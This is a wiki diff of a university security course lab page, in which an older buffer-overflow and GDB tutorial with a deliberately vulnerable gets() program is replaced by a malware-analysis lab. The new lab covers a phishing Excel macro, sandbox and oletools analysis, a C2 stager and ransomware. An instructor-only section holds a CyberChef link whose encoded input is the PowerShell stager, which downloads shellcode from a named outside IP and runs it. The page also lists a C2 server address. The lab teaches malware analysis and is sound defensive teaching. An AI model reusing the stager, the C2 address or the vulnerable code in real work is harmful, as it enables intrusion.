This shows you the differences between two versions of the page.
isc:labs:06 [2023/04/10 15:34] florin.stancu [Exercises] |
isc:labs:06 [2024/11/11 14:43] (current) vlad_iulius.nastase |
||
---|---|---|---|
Line 1: | Line 1: | ||
- | ===== Lab 06 - Application Security ===== | + | ====== Lab 06 - Malware ====== |
- | + | ||
- | ===== Resources ===== | + | |
- | *[[https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/|Buffer overflow explained]] | + | <ifauth @isc> |
- | *[[https://dhavalkapil.com/blogs/Shellcode-Injection/|Shellcode explained]] | + | <note warning> |
+ | **Ghid Command and Control** | ||
- | ===== Setup ===== | + | [[https://docs.google.com/document/d/1sPfDPA6IvklVLTsZMk6FHv_vrWzu94E3qw-B3eWwSnw/edit?usp=sharing]] |
- | * Open a lab VM instance on [[https://cloud.grid.pub.ro|openstack]], image: //**ISC 2022.2**//, flavor: **//m1.small//**, availability zone: **//any//**; | + | [[https://outline.vladn.st/s/fcb3a6a5-da87-40a7-872a-39ad4a9aff43]] |
- | <hidden> | + | |
- | Please record your screen using [[https://www.mankier.com/1/asciinema|asciinema]] while working: | + | |
- | <code bash> | + | |
- | # install the package | + | |
- | $ sudo apt update -y && sudo apt install -y asciinema | + | |
- | # start recording (optionally, use --append to append to an existing one) | + | |
- | $ asciinema rec [--append] lab05_${LDAP_USERNAME}.cast | + | |
- | # echo your name in the terminal | + | </note> |
- | $ echo "Andrei Popescu" | + | </ifauth> |
- | # work... then: | + | |
- | # stop recording | + | |
- | $ exit | + | |
- | # upload recording | + | ===== Setup ===== |
- | $ ASCIINEMA_API_URL=https://asciinema.cs.pub.ro asciinema upload lab05_${LDAP_USERNAME}.cast | + | |
- | </code> | + | |
- | </hidden> | + | |
- | * Install the 32-bit `libc` and `gcc-multilib` packages: | + | For this lab we will use the provided Windows VM. Please [[https://repository.grid.pub.ro/cs/isc/ISC%20Malware%20Lab%20VM.zip|download it from here]] in advance (~12GB archived; **you will need ~30-40GB of free storage on your computer**). |
- | <code> | + | |
- | $ sudo apt install libc6-dev-i386 gcc-multilib | + | |
- | </code> | + | |
- | <note tip> | + | The VM is compatible with VMWare (Workstation and Player) >16. You can [[https://softwareupdate.vmware.com/cds/vmw-desktop/|download VMWare here]]. We recommend Workstation 17. |
- | If you still get a linker error after installing ''libgcc'', try compiling with ''clang''. | + | |
+ | <note warning> | ||
+ | All exercises will be done inside the Windows VM. **DO NOT** copy the provided files outside of the VM. Even if it is "didactic malware", written by us, it can actually be damaging to your computer. | ||
</note> | </note> | ||
- | * Install the gdb peda plugin: | + | <note> |
- | <code> | + | Every tool you need is already installed on the VM we provided. If it’s not on the taskbar, you can find it on your Desktop, in the folder named ''%%Tools%%''. |
- | $ git clone https://github.com/longld/peda.git ~/peda | + | </note> |
- | (...) | + | |
- | $ echo "source ~/peda/peda.py" >> ~/.gdbinit | + | |
- | (...) | + | |
- | </code> | + | |
- | To check if everything is OK, run the command ''gdb'' with no arguments. The prompt should be similar to this: | + | If needed, we will also use [[https://cloud.grid.pub.ro/|Openstack]] (limited capacity). Use the ''%%isc_prj%%'' project and start a VM with the following specifications: |
+ | * Source: ''%%ISC Malware Lab%%'' | ||
+ | * Flavor: ''%%m1.isc_malware_lab%%'' | ||
+ | You don't need to specify an SSH key, we will be using the browser console to interact with the virtual machine. | ||
- | <code> | + | ===== 00. Infection vector ===== |
- | $ gdb | + | |
- | GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git | + | |
- | .... | + | |
- | gdb-peda$ | + | |
- | </code> | + | |
- | Type ''q'' to exit gdb. We are using gdb peda instead of the classic gdb because it is much more user friendly. We hope you'll like it ;) | + | You are Gigel, an accountant at some lifeless notary firm. One day you receive an email with an attached Excel from //¿̶̦̞̗́͗̕y̸̳̹̗̆̏̍ǫ̵̭̞́͗͘ṷ̵̝͋̽r̸̢̪̈́ ̵͈̪̥̀̈́̓ḃ̶͇̬͑o̷͙̰̊͜š̷̱͈̐s̴͔͙̿?̵̤̽͆̕// telling you it’s some important financial data that has to be submitted until the end of the day to the authorities. Have you missed something? But you’re a good accountant, how did this happen? It’s probably something the bossman doesn’t really understand and is panicked for no reason, so you decide to open the attachment. You are filled with an extreme boredom and just want to get this stuff done and go back to scrolling Reddit, so you ignore any and all pop-ups, allow everything (despite the constant nagging of those pesky IT guys). |
- | * Don't forget to submit the lab's [[ https://forms.office.com/r/GZzRJVqQuy |feedback form]]. Double check at [[ https://ctipub-my.sharepoint.com/:x:/g/personal/mihai_chiroiu_upb_ro/Ee4pZApRKA5Iq9JgR2r652QB0FVL4J9EFtTBtva3jX-1Lw?e=ylQ7lu | form responses]] ;) | + | **The attachment is on your Desktop. Go ahead, open it. What could go wrong?** |
- | ===== Overview ===== | + | ===== 01. Office Macros ===== |
- | {{http://i.imgur.com/mK1nsNl.png}} | + | <note important> |
- | + | You are now infected. | |
- | <note tip> | + | |
- | This representation of the stack is valid for 32 bit programs. The calling convention is to save the parameters on the stack. To find out what's different for a 64 bit program check this [[https://www.systutorials.com/x86-64-calling-convention-by-gcc/|website]] | + | |
</note> | </note> | ||
- | A buffer overflow occurs when data written to a buffer overruns its boundary and overwrites adjacent memory locations, due to insufficient bounds checking. | + | One of the most common infection vectors is phishing and social engineering, which relies on the user simply opening a malicious binary. In our case, simply opening that Excel document got you infected. You might not see anything suspicious happening for now, so keep reading. |
- | ===== GDB tutorial ===== | + | ==== Online sandboxes ==== |
- | ==== GDB peda ==== | + | While the VM we provided has some included tools for analysis, you probably don’t know where to get started. We recommend trying one of the available online sandboxes available. |
- | ==== Loading a program ==== | + | * [[https://www.virustotal.com/gui/home/upload|VirusTotal]] |
+ | * [[https://www.hybrid-analysis.com/|Hybrid Analysis]] | ||
+ | * [[https://app.any.run/|ANY.RUN]] | ||
- | In order to start debugging using GDB, you need to specify the program to be inspected. There are two options for doing this: | + | The sandboxes mentioned above will take the documents you upload, run them (just like you did), but they also run some static analysis and monitor a few other things: |
- | * When launching GDB: | + | |
- | <code> | + | |
- | student@host$ gdb prog | + | |
- | </code> | + | |
- | * After launching GDB: | + | |
- | <code> | + | |
- | student@host$ gdb | + | |
- | (...) | + | |
- | gdb-peda$ file prog | + | |
- | Reading symbols from prog...done. | + | |
- | </code> | + | |
- | Once the debugging symbols from the executable were loaded, you can start executing your program using the ''run'' command. | + | * process execution, including any child processes |
- | <code> | + | * network activity |
- | gdb-peda$ run | + | * static analysis for suspicious signatures |
- | </code> | + | * Encoding detection |
+ | * Binary packing detection | ||
+ | * YARA Rules (a format to specify signatures for malware) | ||
- | <note tip>You do not need the specify the full command, GDB can fill in the rest of a word in a command for you, if there is only one possibility. E.g.: ''r'', ''ru'' and ''run'' are equivalent; ''c'', ''co'', ''continue'' are equivalent.</note> | + | Pick one sandbox and submit the Excel document. See what info you can gather from the results. |
- | In order to specify arguments for the debugged program, you can either: | + | <spoiler Hint 1> |
- | * Specify them prior to starting the program: | + | <note tip> |
- | <code> | + | Look at the processes that are executed, does anything look suspicious? |
- | gdb-peda$ set args arg1 arg2 | + | </note> |
- | </code> | + | </spoiler> |
- | * Specify them when starting the program: | + | |
- | <code> | + | |
- | gdb-peda$ run arg1 arg2 | + | |
- | </code> | + | |
- | + | ||
- | <note tip>You do not need to specify the arguments each time: ''run'' with no arguments uses the same arguments used by the previous ''run'', or those set by the ''set args'' command.</note> | + | |
- | + | ||
- | ==== Breakpoints ==== | + | |
- | + | ||
- | Breakpoints represent places in your program where the execution should be stopped. They are added using the [[http://www.delorie.com/gnu/docs/gdb/gdb_29.html|break command and its variants]]. Here are the most common usages: | + | |
- | * ''break function'' - Set a breakpoint at entry to function function. When using source languages that permit overloading of symbols, such as C++, function may refer to more than one possible place to break. See section Breakpoint menus, for a discussion of that situation. | + | |
- | * ''break linenum'' - Set a breakpoint at line linenum in the current source file. The current source file is the last file whose source text was printed. The breakpoint will stop your program just before it executes any of the code on that line. | + | |
- | * ''break filename:linenum'' - Set a breakpoint at line linenum in source file filename. | + | |
- | * ''break filename:function'' - Set a breakpoint at entry to function function found in file filename. Specifying a file name as well as a function name is superfluous except when multiple files contain similarly named functions. | + | |
- | * ''break *address'' - Set a breakpoint at address address. You can use this to set breakpoints in parts of your program which do not have debugging information or source files. | + | |
- | + | ||
- | You can see an overview of the current breakpoints using the ''info break'' command. | + | |
- | <code> | + | |
- | gdb-peda$ info break | + | |
- | Num Type Disp Enb Address What | + | |
- | 1 breakpoint keep y 0x0804856d in main at buggy.c:33 | + | |
- | 2 breakpoint keep y 0x080484d1 in print_message at buggy.c:12 | + | |
- | 3 breakpoint keep y 0x080484d1 in print_message at buggy.c:12 | + | |
- | </code> | + | |
+ | <spoiler Hint 2> | ||
<note tip> | <note tip> | ||
- | Short for ''info break'' is ''i b''. | + | What about network connections? |
</note> | </note> | ||
+ | </spoiler> | ||
- | In order to [[http://www.delorie.com/gnu/docs/gdb/gdb_32.html|remove breakpoints]], you can use the ''clear'' or the ''delete'' (''d'') command. With the ''clear'' command you can delete breakpoints according to where they are in your program. With the ''delete'' command you can delete individual breakpoints by specifying their breakpoint numbers. | + | ==== Visual Basic macros ==== |
- | <code> | + | |
- | gdb-peda$ delete 2 | + | |
- | gdb-peda$ clear buggy.c:33 | + | |
- | Deleted breakpoint 1 | + | |
- | </code> | + | |
- | Once you want to resume execution, you can use the ''continue'' command. | + | From sandbox results, you can probably observe some references to a Powershell process being started by Excel. Powershell is a shell, just like ''%%bash%%'' and is (at least from Windows 10/11) the default system shell on Windows. So, why would Excel, a spreadsheet program, need to open a shell prompt and run commands? In usual operation, it doesn’t, but for more advanced use cases, Excel (and some other Office products) allow you to write “macros”, which are functions written in the Visual Basic programming language. |
- | <code> | + | |
- | gdb-peda$ continue | + | |
- | Continuing. | + | |
- | [Inferior 1 (process 5809) exited normally] | + | |
- | </code> | + | |
- | ==== Start ==== | + | You can read more about this |
- | The ''start'' command is very similar to ''run'', but instead of running the program until it ends (or until it crashes), it sets a breakpoint at the beginning of the main function. | + | * https://support.microsoft.com/en-us/office/automatically-run-a-macro-when-opening-a-workbook-1e55959b-e077-4c88-a696-c3017600db44 |
+ | * https://learn.microsoft.com/en-us/office/vba/library-reference/concepts/getting-started-with-vba-in-office | ||
- | <code> | ||
- | [----------------------------------registers-----------------------------------] | ||
- | EAX: 0x56556fd4 --> 0x1edc | ||
- | EBX: 0x0 | ||
- | ECX: 0xffffd5c0 --> 0x1 | ||
- | EDX: 0xffffd5e4 --> 0x0 | ||
- | ESI: 0xffffd5c0 --> 0x1 | ||
- | EDI: 0x0 | ||
- | EBP: 0xffffd5a8 --> 0x0 | ||
- | ESP: 0xffffd580 --> 0xf7fbe3fc --> 0xf7fbf200 --> 0x0 | ||
- | EIP: 0x565555d0 (<main+31>: mov DWORD PTR [ebp-0x1f],0x6c6c6548) | ||
- | EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow) | ||
- | [-------------------------------------code-------------------------------------] | ||
- | 0x565555c4 <main+19>: call 0x56555616 <__x86.get_pc_thunk.ax> | ||
- | 0x565555c9 <main+24>: add eax,0x1a0b | ||
- | 0x565555ce <main+29>: mov esi,ecx | ||
- | => 0x565555d0 <main+31>: mov DWORD PTR [ebp-0x1f],0x6c6c6548 | ||
- | 0x565555d7 <main+38>: mov WORD PTR [ebp-0x1b],0x216f | ||
- | 0x565555dd <main+44>: mov BYTE PTR [ebp-0x19],0x0 | ||
- | 0x565555e1 <main+48>: sub esp,0xc | ||
- | 0x565555e4 <main+51>: lea edx,[ebp-0x1f] | ||
- | [------------------------------------stack-------------------------------------] | ||
- | 0000| 0xffffd580 --> 0xf7fbe3fc --> 0xf7fbf200 --> 0x0 | ||
- | 0004| 0xffffd584 --> 0x56556fd4 --> 0x1edc | ||
- | 0008| 0xffffd588 --> 0xffffd65c --> 0xffffd798 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...) | ||
- | 0012| 0xffffd58c ("kVUV\001") | ||
- | 0016| 0xffffd590 --> 0x1 | ||
- | 0020| 0xffffd594 --> 0xffffd654 --> 0xffffd782 ("/home/student/buffovf") | ||
- | 0024| 0xffffd598 --> 0xffffd65c --> 0xffffd798 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...) | ||
- | 0028| 0xffffd59c --> 0xffffd5c0 --> 0x1 | ||
- | [------------------------------------------------------------------------------] | ||
- | Legend: code, data, rodata, value | ||
- | Temporary breakpoint 1, main (argc=0x1, argv=0xffffd654) at buffovf.c:16 | + | Since our macro got executed when we opened the document, we need a way to see it without running Excel. We can use the ''%%oletools%%'' Python package for this. |
- | 16 char buf[] = "Hello!"; | + | |
- | </code> | + | |
- | Let's take a look at the previous output that gdb peda prints. You can see it is seprated into 3 sections: registers, code and stack. With the original gdb you would have to manually print registers, disassemble code and inspect the stack. Thanks, God, for peda!! | ||
- | ==== Step ==== | ||
- | There might be situations when you only want to execute one line of source code, or one machine instruction from your program. This action is called [[https://sourceware.org/gdb/onlinedocs/gdb/Continuing-and-Stepping.html|a step]] and can be categorized as follows: | + | <note> |
- | * Step into - ''step'' or ''s'': Continue running your program until control reaches a different source line, then stop it and return control to GDB. If the line you are stepping over represents a function call, this command will step inside it. | + | **FLAG 1 [30p]** |
- | * Step over - ''next'' or ''n'': Continue to the next source line in the current stack frame. This is similar to step, but function calls that appear within the line of code are executed without stopping. | + | |
- | There are also equivalent functions fo the machine instructions: stepi, nexti. | + | |
- | If you stepped into a function and you want to continue the execution until the function returns, you can use the ''finish'' command. | + | Read the documentation for ''%%oletools%%'', available on [[https://github.com/decalage2/oletools|Github]] and extract the macro. ''%%oletools%%'' is already installed in your virtual machine. |
+ | </note> | ||
- | ==== Printing variables and memory ==== | + | <spoiler Hint> |
+ | ''%%oletools%%'' is the package name. Check the documentation for the name of the tool that seems to do what you want. | ||
+ | </spoiler> | ||
- | No need to manually print registers anymore, but you still might need to print the content of a variable: | + | Observe the output you got from ''%%oletools%%''. It also provides some insight into what the macro is doing, including the reason it automatically executes when the Excel workbook is opened. |
- | <code> | + | |
- | gdb-peda$ print input | + | |
- | $6 = 0 | + | |
- | </code> | + | |
- | The ''print'' command allows you to specify the format of the output like this (you can find a full list of possible format specifiers [[https://ftp.gnu.org/old-gnu/Manuals/gdb/html_chapter/gdb_9.html#SEC55|here]]): | + | We recommend using CyberChef to decode the powershell payload that is executed. Some useful CyberChef functions you might want to use (not completely necessary to use all of them): ''%%Find/Replace%%'', ''%%Drop Bytes%%'', some decoding function (figure out the encoding, or let CyberChef help you), ''%%Decode text%%''. |
- | <code> | + | <spoiler Hint> |
- | gdb-peda$ p/x $esp | + | Windows uses UTF-16 Little Endian text encoding by default. |
- | $3 = 0xffffcf00 | + | </spoiler> |
- | gdb-peda$ x/2x 0xffffcf00 | + | |
- | 0xffffcf00: 0xffffcf4c 0xf7fcf0f0 | + | |
- | gdb-peda$ p/d $esp | + | |
- | $4 = 4294954752 | + | |
- | gdb-peda$ p/s buf | ||
- | $9 = "OK. Bye!\n" | ||
- | gdb-peds$ p/x buf | ||
- | $10 = {0x4f, 0x4b, 0x2e, 0x20, 0x42, 0x79, 0x65, 0x21, 0xa, 0x0} | ||
- | </code> | ||
- | ==== Reading and modifying memory ==== | + | In the end you get a weird looking Powershell script. You don’t need to worry about understanding it, but if you want to read more, you can [[https://dominicbreuker.com/post/learning_sliver_c2_06_stagers/#powershell-stager|do it here]]. Some useful information you can get from this Powershell script: |
- | You can use the command ''x'' (for "examine") to examine memory in any of several formats, independently of your program's data types. | + | * the flag for this exercise |
- | <code> | + | * the address for the attacker’s infrastructure (which you also observed in the sandbox results) |
- | x/nfu addr | + | |
- | </code> | + | |
- | ''n'', ''f'', and ''u'' are all optional parameters that specify how much memory to display and how to format it; ''addr'' is an expression giving the address where you want to start displaying memory. | + | |
- | * **n** - the repeat count: The repeat count is a decimal integer; the default is 1. It specifies how much memory (counting by units u) to display. | + | |
- | * **f** - the display format: The display format is one of the formats used by print | + | |
- | * **u** - the unit size: The unit size is any of ''b'' (bytes), ''h'' (halfwords), ''w'' (words) | + | |
- | + | ||
- | E.g.: Print 10 words in hexadecimal format, starting from the address of the current stack pointer. | + | |
- | <code> | + | |
- | gdb-peda$ x/10xw $esp | + | |
- | 0xffffcf00: 0xffffcf58 0x4b4fdf10 0x7942202e 0x000a2165 | + | |
- | 0xffffcf10: 0xffffcf32 0xf7ffd918 0xffffcf58 0x080485b8 | + | |
- | 0xffffcf20: 0x00000000 0x080486b8 | + | |
- | </code> | + | |
- | In order to change the value of a variable or of a specific memory area, you can use the ''set'' command: | + | <ifauth @isc> |
+ | <hidden> | ||
<code> | <code> | ||
- | gdb-peda$ set g=4 | + | olevba 'IMPORTANT FIANNCIAL DATA.xls' |
- | gdb-peda$ set {int}0x83040 = 4 | + | |
</code> | </code> | ||
- | ==== Stack info ==== | + | [[https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Regex','string':'%5B%22_%26%20%5C%5Cr%5C%5Cn%5D'%7D,'',true,false,true,false)From_Base64('A-Za-z0-9%2B/%3D',true,false)Decode_text('UTF-16LE%20(1200)')&input=SkFCWEFHa0FiZ0F6QURJQUlBQTlBQ0FBUUFBaUFBMEFDZ0IxQUhNQWFRQnVBR2NBSUFCVEFIa0Fjd0IwQUdVQWJRQTdBQTBBQ2dCMUFITUFhUUJ1QUdjQUlBQlRBSGtBY3dCMEFHVUFiUUF1QUZJQWRRQnVBSFFBYVFCdEFHVUFMZ0JKQUc0QWRBQmxBSElBYndCd0FGTUFaUUJ5QUhZQWFRQmpBR1VBY3dBN0FBMEFDZ0J3QUhVQVlnQnNBR2tBWXdBZ0FHTUFiQUJoQUhNQWN3QWdBRmNBYVFCdUFETUFNZ0FnQUhzQURRQUtBRnNBUkFCc0FHd0FTUSIgXw0KICAgICYgIkJ0QUhBQWJ3QnlBSFFBS0FBaUFHc0FaUUJ5QUc0QVpRQnNBRE1BTWdBaUFDa0FYUUFOQUFvQWNBQjFBR0lBYkFCcEFHTUFJQUJ6QUhRQVlRQjBBR2tBWXdBZ0FHVUFlQUIwQUdVQWNnQnVBQ0FBU1FCdUFIUUFVQUIwQUhJQUlBQldBR2tBY2dCMEFIVUFZUUJzQUVFQWJBQnNBRzhBWXdBb0FFa0FiZ0IwQUZBQWRBQnlBQ0FBYkFCd0FFRUFaQUJrQUhJQVpRQnpBSE1BTEFBTkFBb0FJQUFnQUNBQUlBQjFBR2tBYmdCMEFDQUFaQUIzQUZNQWFRQjYiIF8NCiAgICAmICJBR1VBTEFBTkFBb0FJQUFnQUNBQUlBQjFBR2tBYmdCMEFDQUFaZ0JzQUVFQWJBQnNBRzhBWXdCaEFIUUFhUUJ2QUc0QVZBQjVBSEFBWlFBc0FBMEFDZ0FnQUNBQUlBQWdBSFVBYVFCdUFIUUFJQUJtQUd3QVVBQnlBRzhBZEFCbEFHTUFkQUFwQURzQURRQUtBRnNBUkFCc0FHd0FTUUJ0QUhBQWJ3QnlBSFFBS0FBaUFHc0FaUUJ5QUc0QVpRQnNBRE1BTWdBaUFDd0FJQUJEQUdnQVlRQnlBRk1BWlFCMEFEMEFRd0JvQUdFQWNnQlRBR1VBZEFBdUFFIiBfDQogICAgJiAiRUFiZ0J6QUdrQUtRQmRBQTBBQ2dCd0FIVUFZZ0JzQUdrQVl3QWdBSE1BZEFCaEFIUUFhUUJqQUNBQVpRQjRBSFFBWlFCeUFHNEFJQUJKQUc0QWRBQlFBSFFBY2dBZ0FFTUFjZ0JsQUdFQWRBQmxBRlFBYUFCeUFHVUFZUUJrQUNnQURRQUtBQ0FBSUFBZ0FDQUFTUUJ1QUhRQVVBQjBBSElBSUFCc0FIQUFWQUJvQUhJQVpRQmhBR1FBUVFCMEFIUUFjZ0JwQUdJQWRRQjBBR1VBY3dBc0FBMEFDZ0FnQUNBQUlBQWdBSFVBYVFCdUFIUUFJQUJrQUhjQSIgXw0KICAgICYgIlV3QjBBR0VBWXdCckFGTUFhUUI2QUdVQUxBQU5BQW9BSUFBZ0FDQUFJQUJKQUc0QWRBQlFBSFFBY2dBZ0FHd0FjQUJUQUhRQVlRQnlBSFFBUVFCa0FHUUFjZ0JsQUhNQWN3QXNBQTBBQ2dBZ0FDQUFJQUFnQUVrQWJnQjBBRkFBZEFCeUFDQUFiQUJ3QUZBQVlRQnlBR0VBYlFCbEFIUUFaUUJ5QUN3QURRQUtBQ0FBSUFBZ0FDQUFkUUJwQUc0QWRBQWdBR1FBZHdCREFISUFaUUJoQUhRQWFRQnZBRzRBUmdCc0FHRUFad0J6QUN3QURRQUtBQ0FBSUEiIF8NCiAgICAmICJBZ0FDQUFTUUJ1QUhRQVVBQjBBSElBSUFCc0FIQUFWQUJvQUhJQVpRQmhBR1FBU1FCa0FDa0FPd0FOQUFvQVd3QkVBR3dBYkFCSkFHMEFjQUJ2QUhJQWRBQW9BQ0lBYXdCbEFISUFiZ0JsQUd3QU13QXlBQzRBWkFCc0FHd0FJZ0FzQUNBQVV3QmxBSFFBVEFCaEFITUFkQUJGQUhJQWNnQnZBSElBUFFCMEFISUFkUUJsQUNrQVhRQU5BQW9BY0FCMUFHSUFiQUJwQUdNQUlBQnpBSFFBWVFCMEFHa0FZd0FnQUdVQWVBQjBBR1VBY2dCdUFDQUFWUUJKIiBfDQogICAgJiAiQUc0QWRBQXpBRElBSUFCWEFHRUFhUUIwQUVZQWJ3QnlBRk1BYVFCdUFHY0FiQUJsQUU4QVlnQnFBR1VBWXdCMEFDZ0FEUUFLQUNBQUlBQWdBQ0FBU1FCdUFIUUFVQUIwQUhJQUlBQm9BRWdBWVFCdUFHUUFiQUJsQUN3QURRQUtBQ0FBSUFBZ0FDQUFWUUJKQUc0QWRBQXpBRElBSUFCa0FIY0FUUUJwQUd3QWJBQnBBSE1BWlFCakFHOEFiZ0JrQUhNQUtRQTdBQTBBQ2dCOUFBMEFDZ0FpQUVBQURRQUtBRUVBWkFCa0FDMEFWQUI1QUhBQVpRQWdBQyIgXw0KICAgICYgIlFBVndCcEFHNEFNd0F5QUEwQUNnQU5BQW9BSXdBZ0FFa0FVd0JEQUhzQWFBQmxBR01BWVFCeUFHMEFaUUJ1QUY4QWR3QmhBSE1BWHdCb0FHVUFjZ0JsQUgwQURRQUtBRnNBVXdCNUFITUFkQUJsQUcwQUxnQk9BR1VBZEFBdUFGTUFaUUJ5QUhZQWFRQmpBR1VBVUFCdkFHa0FiZ0IwQUUwQVlRQnVBR0VBWndCbEFISUFYUUE2QURvQVV3QmxBSElBZGdCbEFISUFRd0JsQUhJQWRBQnBBR1lBYVFCakFHRUFkQUJsQUZZQVlRQnNBR2tBWkFCaEFIUUEiIF8NCiAgICAmICJhUUJ2QUc0QVF3QmhBR3dBYkFCaUFHRUFZd0JyQUNBQVBRQWdBSHNBSkFCMEFISUFkUUJsQUgwQUlBQTdBQTBBQ2dBa0FITUFhQUJsQUd3QWJBQmpBRzhBWkFCbEFDQUFQUUFnQUNnQVRnQmxBSGNBTFFCUEFHSUFhZ0JsQUdNQWRBQWdBRk1BZVFCekFIUUFaUUJ0QUM0QVRnQmxBSFFBTGdCWEFHVUFZZ0JEQUV3QWFRQmxBRzRBZEFBcEFDNEFSQUJ2QUhjQWJnQnNBRzhBWVFCa0FFUUFZUUIwQUdFQUtBQWlBR2dBZEFCMEFIQUFjd0E2QUM4QUx3IiBfDQogICAgJiAiQXhBRGtBTkFBdUFERUFPQUF5QUM0QU1RQTJBRFFBTGdBeEFEUUFPUUE2QURnQU1BQTRBREFBTHdCbUFHOEFiZ0IwQUdFQWR3QmxBSE1BYndCdEFHVUFMZ0IzQUc4QVpnQm1BQ0lBS1FBTkFBb0FhUUJtQUNBQUtBQWtBSE1BYUFCbEFHd0FiQUJqQUc4QVpBQmxBQ0FBTFFCbEFIRUFJQUFrQUc0QWRRQnNBR3dBS1FBZ0FIc0FSUUI0QUdrQWRBQjlBRHNBRFFBS0FDUUFjd0JwQUhvQVpRQWdBRDBBSUFBa0FITUFhQUJsQUd3QWJBQmpBRzhBWkFCbCIgXw0KICAgICYgIkFDNEFUQUJsQUc0QVp3QjBBR2dBRFFBS0FBMEFDZ0JiQUVrQWJnQjBBRkFBZEFCeUFGMEFKQUJoQUdRQVpBQnlBQ0FBUFFBZ0FGc0FWd0JwQUc0QU13QXlBRjBBT2dBNkFGWUFhUUJ5QUhRQWRRQmhBR3dBUVFCc0FHd0Fid0JqQUNnQU1BQXNBQ1FBY3dCcEFIb0FaUUFzQURBQWVBQXhBREFBTUFBd0FDd0FNQUI0QURRQU1BQXBBRHNBRFFBS0FGc0FVd0I1QUhNQWRBQmxBRzBBTGdCU0FIVUFiZ0IwQUdrQWJRQmxBQzRBU1FCdUFIUUFaUUJ5QUciIF8NCiAgICAmICI4QWNBQlRBR1VBY2dCMkFHa0FZd0JsQUhNQUxnQk5BR0VBY2dCekFHZ0FZUUJzQUYwQU9nQTZBRU1BYndCd0FIa0FLQUFrQUhNQWFBQmxBR3dBYkFCakFHOEFaQUJsQUN3QUlBQXdBQ3dBSUFBa0FHRUFaQUJrQUhJQUxBQWdBQ1FBY3dCcEFIb0FaUUFwQUEwQUNnQWtBSFFBYUFCaEFHNEFaQUJzQUdVQVBRQmJBRmNBYVFCdUFETUFNZ0JkQURvQU9nQkRBSElBWlFCaEFIUUFaUUJVQUdnQWNnQmxBR0VBWkFBb0FEQUFMQUF3QUN3QUpBQmhBR1FBIiBfDQogICAgJiAiWkFCeUFDd0FNQUFzQURBQUxBQXdBQ2tBT3dBTkFBb0FXd0JYQUdrQWJnQXpBRElBWFFBNkFEb0FWd0JoQUdrQWRBQkdBRzhBY2dCVEFHa0FiZ0JuQUd3QVpRQlBBR0lBYWdCbEFHTUFkQUFvQUNRQWRBQm9BR0VBYmdCa0FHd0FaUUFzQUNBQVd3QjFBR2tBYmdCMEFETUFNZ0JkQUNJQU1BQjRBRVlBUmdCR0FFWUFSZ0JHQUVZQVJnQWlBQ2tBIg&ieol=CRLF&oeol=CRLF|CyberChef recipe]] |
+ | </hidden> | ||
+ | </ifauth> | ||
- | A backtrace is a summary of how your program got where it is. It shows one line per frame, for many frames, starting with the currently executing frame (frame zero), followed by its caller (frame one), and on up the stack. | + | ===== 02. Command and Control (C2 / C&C) ===== |
- | ''backtrace'': Print a backtrace of the entire stack: one line per frame for all frames in the stack. | + | What you uncovered is a command and control stager. Command and control attacks are a type of attack where a program is used to gain control of the infected computers. This requires a connection to a command and control server, where attackers can see the infected devices and send command to them. Some functionality of command and control binaries: |
- | E.g.: | + | * process control (spawning, killing and dumping processes) |
- | <code> | + | * information gathering (user, network, computer) |
- | gdb-peda$ bt | + | * file transfer |
- | #0 print_message (input=0) at buggy.c:16 | + | * covert persistence (via process injection, beacons, backdoored binaries) |
- | #1 0x080485b8 in main () at buggy.c:38 | + | * screenshot taking |
- | </code> | + | |
- | It is also possible to move up or down the stack using the following commands: | + | <note> |
- | * ''up n'': Move n frames up the stack. For positive numbers n, this advances toward the outermost frame, to higher frame numbers, to frames that have existed longer. n defaults to one. | + | **FLAG 2 [10p]** |
- | * ''down n'': Move n frames down the stack. For positive numbers n, this advances toward the innermost frame, to lower frame numbers, to frames that were created more recently. n defaults to one. | + | |
- | + | ||
- | Another useful command for printing information related to the current stack frame is ''info frame''. This command prints a verbose description of the selected stack frame, including: | + | |
- | * the address of the frame | + | |
- | * the address of the next frame down (called by this frame) | + | |
- | * the address of the next frame up (caller of this frame) | + | |
- | * the language in which the source code corresponding to this frame is written | + | |
- | * the address of the frame's arguments | + | |
- | * the address of the frame's local variables | + | |
- | * the program counter saved in it (the address of execution in the caller frame) | + | |
- | * which registers were saved in the frame | + | |
- | ==== Exercises ==== | + | Attackers might neglect the security of their own infrastructure. Check if this is the case. Maybe try some other known ports? (''%%nmap%%'' is installed, but you probably don't need it) |
+ | </note> | ||
- | === 00. Our test program === | ||
- | Compile the following code: | + | The C2 stager we used is a pretty simple one. If you want to read more about C2 capabilities you can read this [[https://dominicbreuker.com/post/learning_sliver_c2_01_installation/|awesome blog post series]] about Sliver. |
- | <code> | + | |
- | #include <stdio.h> | + | |
- | #include <unistd.h> | + | |
- | #include <stdlib.h> | + | |
- | void wanted(int a) { | + | <ifauth @isc> |
- | if (a == 0xcafebabe) { | + | <hidden> |
- | puts("well done, you're cool!"); | + | [[http://194.182.164.149/]] |
- | } else { | + | </hidden> |
- | puts("at least you tried"); | + | </ifauth> |
- | } | + | |
- | } | + | |
- | void copy() { | + | ===== 03. Ransomware ===== |
- | char name[12]; | + | |
- | + | ||
- | printf("what's ur last name?\n"); | + | |
- | gets(name); | + | |
- | printf("bye\n"); | + | |
- | } | + | |
- | int main(int argc, char **argv) { | + | <note warning> |
- | if (argc == 1) { | + | Ask your lab assistant to use the C2 server to send some actual malware your way. |
- | puts("Usage: %s <name>\n"); | + | |
- | return 1; | + | |
- | } | + | |
- | char buf[] = "hey"; | + | |
- | printf("%s, %s\n", buf, argv[1]); | + | As a backup, the ransomware binary can also be found in ''%%C:\Users\<your_user>\Documents\backup%%'' |
- | copy(); | + | </note> |
- | exit(0); | + | **As before, go ahead and run it, see what happens.** |
- | } | + | |
- | </code> | + | |
- | like this: | ||
- | <code> | ||
